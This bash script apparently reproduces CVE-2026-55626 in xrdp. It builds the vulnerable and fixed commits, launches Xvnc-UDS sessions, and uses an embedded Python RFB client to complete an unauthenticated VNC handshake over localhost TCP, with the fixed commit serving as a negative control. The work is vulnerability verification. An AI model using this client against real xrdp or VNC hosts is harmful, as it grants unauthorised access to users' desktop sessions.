#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

MAIN_LOG="$LOGS/reproduction_steps.log"
: >"$MAIN_LOG"
exec > >(tee -a "$MAIN_LOG") 2>&1

ENTRYPOINT_KIND="tcp_peer"
SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_PATH_REACHED=false
PROOF_ARTIFACTS='["logs/reproduction_steps.log"]'
NOTES="Reproduction did not complete"

write_manifest() {
    ENTRYPOINT_KIND="$ENTRYPOINT_KIND" \
    SERVICE_STARTED="$SERVICE_STARTED" \
    HEALTHCHECK_PASSED="$HEALTHCHECK_PASSED" \
    TARGET_PATH_REACHED="$TARGET_PATH_REACHED" \
    PROOF_ARTIFACTS="$PROOF_ARTIFACTS" \
    NOTES="$NOTES" \
    python3 - "$REPRO_DIR/runtime_manifest.json" <<'PY'
import json, os, sys
p = sys.argv[1]
def b(name): return os.environ[name].lower() == "true"
with open(p, "w", encoding="utf-8") as f:
    json.dump({
        "entrypoint_kind": os.environ["ENTRYPOINT_KIND"],
        "entrypoint_detail": "Unauthenticated RFB client over localhost TCP to Xvnc launched by xrdp-sesman in Xvnc-UDS session mode",
        "service_started": b("SERVICE_STARTED"),
        "healthcheck_passed": b("HEALTHCHECK_PASSED"),
        "target_path_reached": b("TARGET_PATH_REACHED"),
        "runtime_stack": ["xrdp-sesman", "xrdp-sesexec", "TigerVNC Xvnc", "RFB 3.8 TCP peer"],
        "proof_artifacts": json.loads(os.environ["PROOF_ARTIFACTS"]),
        "notes": os.environ["NOTES"]
    }, f, indent=2)
    f.write("\n")
PY
}
trap 'rc=$?; if [[ $rc -ne 0 ]]; then NOTES="Reproduction exited with status $rc; inspect logs/reproduction_steps.log"; fi; write_manifest; exit $rc' EXIT

# Honor the prepared project cache. Fall back only when context is absent or unusable.
CACHE_CONTEXT="$ROOT/project_cache_context.json"
PROJECT_CACHE_DIR=""
if [[ -r "$CACHE_CONTEXT" ]]; then
    PROJECT_CACHE_DIR="$(python3 - "$CACHE_CONTEXT" <<'PY'
import json, sys
try:
    d=json.load(open(sys.argv[1], encoding="utf-8"))
    print(d.get("project_cache_dir", "") if d.get("prepared") is True else "")
except Exception:
    print("")
PY
)"
fi
if [[ -n "$PROJECT_CACHE_DIR" && -d "$PROJECT_CACHE_DIR" ]]; then
    REPO="$PROJECT_CACHE_DIR/repo"
    BUILD_ROOT="$PROJECT_CACHE_DIR/cve-2026-55626-build"
else
    REPO="$ROOT/artifacts/xrdp"
    BUILD_ROOT="$ROOT/artifacts/cve-2026-55626-build"
fi
mkdir -p "$(dirname "$REPO")" "$BUILD_ROOT"

FIXED_COMMIT="517b8a180d8cbad1b7950ff4f6b31491318f5bb5"
EXPECTED_VULN_COMMIT="ee84a41c7d76f651bea45b89303d56d894a2f057"

printf '=== CVE-2026-55626 xrdp Xvnc-UDS authentication reproduction ===\n'
printf 'Root: %s\nRepository: %s\n' "$ROOT" "$REPO"

# Dependencies are installed by the script because execution occurs in a clean sandbox.
sudo apt-get update -qq
sudo DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
    git ca-certificates build-essential autoconf automake libtool pkg-config \
    libpam0g-dev libssl-dev libx11-dev libxfixes-dev libxrandr-dev libxkbfile-dev \
    tigervnc-standalone-server xauth x11-xserver-utils xterm procps iproute2 netcat-openbsd

if [[ ! -d "$REPO/.git" ]]; then
    git clone --recursive https://github.com/neutrinolabs/xrdp.git "$REPO"
fi
git -C "$REPO" fetch --tags --force origin
FIXED_RESOLVED="$(git -C "$REPO" rev-parse "$FIXED_COMMIT")"
VULN_COMMIT="$(git -C "$REPO" rev-parse "$FIXED_COMMIT^")"
if [[ "$VULN_COMMIT" != "$EXPECTED_VULN_COMMIT" ]]; then
    echo "Unexpected fixed parent: $VULN_COMMIT" >&2
    exit 1
fi
printf 'Vulnerable commit: %s\nFixed commit:      %s\n' "$VULN_COMMIT" "$FIXED_RESOLVED" | tee "$LOGS/source_identity.log"

# Verify the exact security patch boundary before building.
if git -C "$REPO" show "$VULN_COMMIT:sesman/sesexec/session.c" | grep -A8 'UDS connection' | grep -q '"-rfbport", "-1"'; then
    echo "Vulnerable parent unexpectedly contains the patch" >&2
    exit 1
fi
if ! git -C "$REPO" show "$FIXED_RESOLVED:sesman/sesexec/session.c" | grep -A18 'UDS connection' | grep -q '"-rfbport", "-1"'; then
    echo "Fixed commit does not contain expected patch" >&2
    exit 1
fi
git -C "$REPO" diff "$VULN_COMMIT" "$FIXED_RESOLVED" -- sesman/sesexec/session.c >"$LOGS/security_patch.diff"

build_one() {
    local role="$1" commit="$2"
    local src="$BUILD_ROOT/src-$role" prefix="$BUILD_ROOT/install-$role"
    if [[ ! -e "$src/.git" ]]; then
        rm -rf "$src"
        git -C "$REPO" worktree add --detach "$src" "$commit"
    else
        git -C "$src" checkout --detach -f "$commit"
        git -C "$src" reset --hard "$commit"
    fi
    git -C "$src" submodule update --init --recursive
    local build_identity="$commit profile-v3-short-localstate"
    if [[ ! -x "$prefix/sbin/xrdp-sesman" || ! -x "$prefix/bin/xrdp-sesrun" || "$(cat "$prefix/.built-commit" 2>/dev/null || true)" != "$build_identity" ]]; then
        rm -rf "$prefix"
        mkdir -p "$prefix"
        git -C "$src" clean -ffdx
        git -C "$src" submodule foreach --recursive 'git reset --hard; git clean -ffdx'
        (
            cd "$src"
            ./bootstrap
            ./configure \
                --enable-strict-locations \
                --prefix="$prefix" \
                --with-pamconfdir="$prefix/etc/pam.d" \
                --sysconfdir="$prefix/etc" \
                --localstatedir="/tmp/cve55626-$role" \
                --disable-fuse --disable-fuse3 --disable-ipv6 \
                --disable-painter --disable-pixman --disable-jpeg \
                --disable-rfxcodec --disable-opus --disable-mp3lame \
                --disable-fdkaac --disable-x264 --disable-openh264
            make -j"$(getconf _NPROCESSORS_ONLN)"
            make install
        ) 2>&1 | tee "$LOGS/build-$role.log"
        printf '%s\n' "$build_identity" >"$prefix/.built-commit"
    fi
    git -C "$src" rev-parse HEAD >"$LOGS/$role-head.txt"
}

build_one vulnerable "$VULN_COMMIT"
build_one fixed "$FIXED_RESOLVED"

# Create a tiny real RFB 3.8 client at runtime. It only performs the protocol
# handshake and reads ServerInit; no credentials or VNC password are supplied.
RFB_CLIENT="$BUILD_ROOT/rfb_client.py"
cat >"$RFB_CLIENT" <<'PY'
#!/usr/bin/env python3
import json, socket, struct, sys, time
host, port, out = sys.argv[1], int(sys.argv[2]), sys.argv[3]
def recvn(s, n):
    data=b""
    while len(data)<n:
        chunk=s.recv(n-len(data))
        if not chunk: raise EOFError(f"EOF after {len(data)}/{n} bytes")
        data += chunk
    return data
result={"host":host,"port":port,"credentials_supplied":False,"connected":False,"none_security_offered":False,"server_init_received":False}
try:
    with socket.create_connection((host,port),timeout=3) as s:
        result["connected"]=True
        banner=recvn(s,12)
        result["server_banner"]=banner.decode("ascii","replace")
        s.sendall(b"RFB 003.008\n")
        n=recvn(s,1)[0]
        if n == 0:
            length=struct.unpack(">I",recvn(s,4))[0]
            raise RuntimeError("server rejected: "+recvn(s,length).decode("utf-8","replace"))
        types=list(recvn(s,n))
        result["security_types"]=types
        result["none_security_offered"]=1 in types
        if 1 not in types:
            raise RuntimeError("None security type was not offered")
        s.sendall(b"\x01")
        status=struct.unpack(">I",recvn(s,4))[0]
        result["security_result"]=status
        if status != 0: raise RuntimeError(f"security result {status}")
        s.sendall(b"\x01")
        fixed=recvn(s,24)
        width,height=struct.unpack(">HH",fixed[:4])
        name_len=struct.unpack(">I",fixed[20:24])[0]
        name=recvn(s,name_len).decode("utf-8","replace")
        result.update(server_init_received=True,width=width,height=height,desktop_name=name)
except Exception as e:
    result["error"]=repr(e)
with open(out,"w",encoding="utf-8") as f: json.dump(result,f,indent=2); f.write("\n")
print(json.dumps(result,sort_keys=True))
sys.exit(0 if result["server_init_received"] else 2)
PY
chmod +x "$RFB_CLIENT"

# Remove stale X11 display locks left by forcibly interrupted earlier runs,
# but never remove a lock whose recorded owner PID is still alive.
clean_stale_x_displays() {
    local d lock owner
    for d in $(seq 10 63); do
        lock="/tmp/.X${d}-lock"
        owner=""
        [[ -r "$lock" ]] && owner="$(tr -dc '0-9' <"$lock" 2>/dev/null || true)"
        if [[ -e "$lock" && ( -z "$owner" || ! -d "/proc/$owner" ) ]]; then
            sudo rm -f "$lock" "/tmp/.X11-unix/X${d}"
        fi
    done
}
clean_stale_x_displays

# xrdp-sesman creates a per-user Xvnc session. In session type 1 (Xvnc-UDS),
# vulnerable xrdp supplies -SecurityTypes None and an RFB UNIX socket but fails
# to disable Xvnc's independent TCP listener. The fixed commit adds -rfbport -1.
run_role() {
    local role="$1" attempt="$2"
    local prefix="$BUILD_ROOT/install-$role"
    local state="$BUILD_ROOT/state-$role-$attempt"
    local cfg="$state/sesman.ini"
    local sesman_log="$LOGS/$role-attempt-$attempt-sesman.log"
    local launch_log="$LOGS/$role-attempt-$attempt-session-launch.log"
    local ps_log="$LOGS/$role-attempt-$attempt-processes.log"
    local probe_log="$LOGS/$role-attempt-$attempt-rfb.json"
    local sudo_pid="" sesman_pid="" root_pidfile="$state/run/sesman.process.pid"
    # Kill delayed/orphaned product children from an interrupted prior run.
    # Exact comm-name matching avoids killing the reproduction shell itself.
    sudo pkill -TERM -x xrdp-sesexec 2>/dev/null || true
    sudo pkill -TERM -x xrdp-sesman 2>/dev/null || true
    sleep 0.2
    sudo pkill -KILL -x xrdp-sesexec 2>/dev/null || true
    sudo pkill -KILL -x xrdp-sesman 2>/dev/null || true
    for old_xvnc in $(pgrep -f '^Xvnc :' 2>/dev/null || true); do
        sudo kill -KILL "$old_xvnc" 2>/dev/null || true
    done
    sudo rm -rf "/tmp/cve55626-$role"
    # sesman writes its diagnostic file as root, so prior-attempt state must
    # also be removed through sudo before recreating user-owned directories.
    sudo rm -rf "$state"
    mkdir -p "$state/run" "$state/log" "$state/home"

    # Start from the product's installed configuration and alter only runtime
    # locations / test shell. Type 1 below is the real Xvnc-over-UDS mode.
    cp "$prefix/etc/xrdp/sesman.ini" "$cfg"
    python3 - "$cfg" "$state" <<'PY'
import sys
p,state=sys.argv[1:]
s=open(p,encoding="utf-8").read()
s=s.replace("#ListenPort=sesman.socket", "ListenPort="+state+"/run/sesman.socket")
s=s.replace("ListenPort=sesman.socket", "ListenPort="+state+"/run/sesman.socket")
s=s.replace("LogFile=xrdp-sesman.log", "LogFile="+state+"/log/xrdp-sesman.log")
s=s.replace("EnableUserWindowManager=true", "EnableUserWindowManager=false")
open(p,"w",encoding="utf-8").write(s)
PY

    # Have the privileged child persist its own PID before exec. This avoids
    # racing global process-name lookup and binds cleanup to this exact service.
    sudo -n /bin/sh -c 'printf "%s\n" "$$" >"$1"; exec "$2" --nodaemon --config "$3"' \
        sh "$root_pidfile" "$prefix/sbin/xrdp-sesman" "$cfg" >"$sesman_log" 2>&1 &
    sudo_pid=$!
    for _ in $(seq 1 150); do
        [[ -S "$state/run/sesman.socket" ]] && break
        sleep 0.1
    done
    # Resolve the exact service PID after readiness. The PID is useful for
    # cleanup, but readiness is defined by the real listening UNIX socket.
    if [[ -e "$root_pidfile" ]]; then
        sesman_pid="$(sudo cat "$root_pidfile" 2>/dev/null | tr -dc '0-9' || true)"
    fi
    if [[ ! -S "$state/run/sesman.socket" ]]; then
        echo "$role sesman failed to create control socket" >&2
        sudo cat "$state/log/xrdp-sesman.log" >"$sesman_log" 2>/dev/null || true
        cat "$sesman_log" >&2
        [[ -n "$sesman_pid" ]] && sudo kill -KILL "$sesman_pid" 2>/dev/null || true
        sudo kill -KILL "$sudo_pid" 2>/dev/null || true
        wait "$sudo_pid" 2>/dev/null || true
        return 1
    fi
    SERVICE_STARTED=true

    # Running as the current user with no username is an authenticated local
    # product test path documented by xrdp-sesrun. Xvnc-UDS selects session type 1.
    set +e
    timeout 15 "$prefix/bin/xrdp-sesrun" -c "$cfg" -t Xvnc-UDS -g 320x240 -b 24 -S /usr/bin/xterm >"$launch_log" 2>&1
    local launch_rc=$?
    set -e
    sleep 1
    ps -ef | grep -E "[X]vnc|[x]rdp-ses" >"$ps_log" || true

    # Determine the display/TCP port from the actual Xvnc command generated by
    # xrdp rather than assuming a hard-coded display.
    local display
    display="$(sed -n 's/.*Xvnc :\([0-9][0-9]*\).*/\1/p' "$ps_log" | tail -1)"
    if [[ -z "$display" ]]; then
        display="$(grep -Eo 'display [0-9]+' "$launch_log" "$sesman_log" "$state/log/xrdp-sesman.log" 2>/dev/null | grep -Eo '[0-9]+' | tail -1 || true)"
    fi
    if [[ -z "$display" ]]; then
        echo "$role attempt $attempt did not launch Xvnc (sesrun rc=$launch_rc)" >&2
        cat "$launch_log" >&2
        cat "$sesman_log" >&2
        [[ -n "$sesman_pid" ]] && sudo kill -KILL "$sesman_pid" 2>/dev/null || true
        sudo kill -KILL "$sudo_pid" 2>/dev/null || true
        wait "$sudo_pid" 2>/dev/null || true
        sudo cat "$state/log/xrdp-sesman.log" >"$sesman_log" 2>/dev/null || true
        cat "$sesman_log" >&2
        return 1
    fi
    local port=$((5900 + display))
    echo "$role attempt $attempt: xrdp launched Xvnc display :$display; probing TCP $port"

    set +e
    timeout 8 python3 "$RFB_CLIENT" 127.0.0.1 "$port" "$probe_log"
    local probe_rc=$?
    set -e

    # Preserve the Xvnc command line before cleanup as loader/runtime evidence.
    local xvnc_pid
    xvnc_pid="$(pgrep -f "^Xvnc :$display " | head -1 || true)"
    if [[ -n "$xvnc_pid" ]]; then
        cat "/proc/$xvnc_pid/cmdline" 2>/dev/null | tr '\0' ' ' >>"$ps_log" || true
    fi
    printf '\n' >>"$ps_log"
    if [[ -n "$xvnc_pid" ]]; then
        sudo kill -TERM "$xvnc_pid" 2>/dev/null || true
        for _ in $(seq 1 20); do
            kill -0 "$xvnc_pid" 2>/dev/null || break
            sleep 0.05
        done
        sudo kill -KILL "$xvnc_pid" 2>/dev/null || true
    fi
    [[ -n "$sesman_pid" ]] && sudo kill -TERM "$sesman_pid" 2>/dev/null || true
    sudo pkill -TERM -x xrdp-sesexec 2>/dev/null || true
    sleep 0.2
    [[ -n "$sesman_pid" ]] && sudo kill -KILL "$sesman_pid" 2>/dev/null || true
    sudo pkill -KILL -x xrdp-sesexec 2>/dev/null || true
    sudo kill -KILL "$sudo_pid" 2>/dev/null || true
    wait "$sudo_pid" 2>/dev/null || true
    sudo cat "$state/log/xrdp-sesman.log" >"$sesman_log" 2>/dev/null || true
    sudo rm -f "/tmp/.X${display}-lock" "/tmp/.X11-unix/X${display}"

    if [[ "$role" == vulnerable ]]; then
        [[ $probe_rc -eq 0 ]] || { echo "Vulnerable RFB unauthenticated handshake failed" >&2; cat "$probe_log"; return 1; }
        python3 - "$probe_log" <<'PY'
import json,sys
d=json.load(open(sys.argv[1]))
assert d["connected"] and d["none_security_offered"] and d["server_init_received"]
assert d["credentials_supplied"] is False
PY
    else
        [[ $probe_rc -ne 0 ]] || { echo "Fixed build unexpectedly exposed unauthenticated RFB TCP" >&2; cat "$probe_log"; return 1; }
        python3 - "$probe_log" <<'PY'
import json,sys
d=json.load(open(sys.argv[1]))
assert not d["server_init_received"]
PY
    fi
}

# Two clean vulnerable product attempts and two fixed negative controls.
run_role vulnerable 1
run_role vulnerable 2
run_role fixed 3
run_role fixed 4

# Verify both vulnerable attempts crossed a real TCP boundary without credentials,
# and both fixed attempts failed closed while using the same session mode.
for n in 1 2; do
    jq -e '.credentials_supplied == false and .connected == true and .none_security_offered == true and .server_init_received == true' \
        "$LOGS/vulnerable-attempt-$n-rfb.json" >/dev/null
done
for n in 3 4; do
    jq -e '.credentials_supplied == false and .server_init_received == false' \
        "$LOGS/fixed-attempt-$n-rfb.json" >/dev/null
done

echo 'CONFIRMED: vulnerable xrdp Xvnc-UDS sessions exposed an unauthenticated RFB TCP peer; fixed commit disabled that TCP listener.'
HEALTHCHECK_PASSED=true
TARGET_PATH_REACHED=true
PROOF_ARTIFACTS='["logs/reproduction_steps.log","logs/source_identity.log","logs/security_patch.diff","logs/vulnerable-attempt-1-sesman.log","logs/vulnerable-attempt-1-session-launch.log","logs/vulnerable-attempt-1-processes.log","logs/vulnerable-attempt-1-rfb.json","logs/vulnerable-attempt-2-sesman.log","logs/vulnerable-attempt-2-session-launch.log","logs/vulnerable-attempt-2-processes.log","logs/vulnerable-attempt-2-rfb.json","logs/fixed-attempt-3-sesman.log","logs/fixed-attempt-3-session-launch.log","logs/fixed-attempt-3-processes.log","logs/fixed-attempt-3-rfb.json","logs/fixed-attempt-4-sesman.log","logs/fixed-attempt-4-session-launch.log","logs/fixed-attempt-4-processes.log","logs/fixed-attempt-4-rfb.json"]'
NOTES="Confirmed twice on the vulnerable fixed-parent commit with two fixed-commit negative controls. The RFB client supplied no credentials and received ServerInit only from vulnerable Xvnc processes."
exit 0
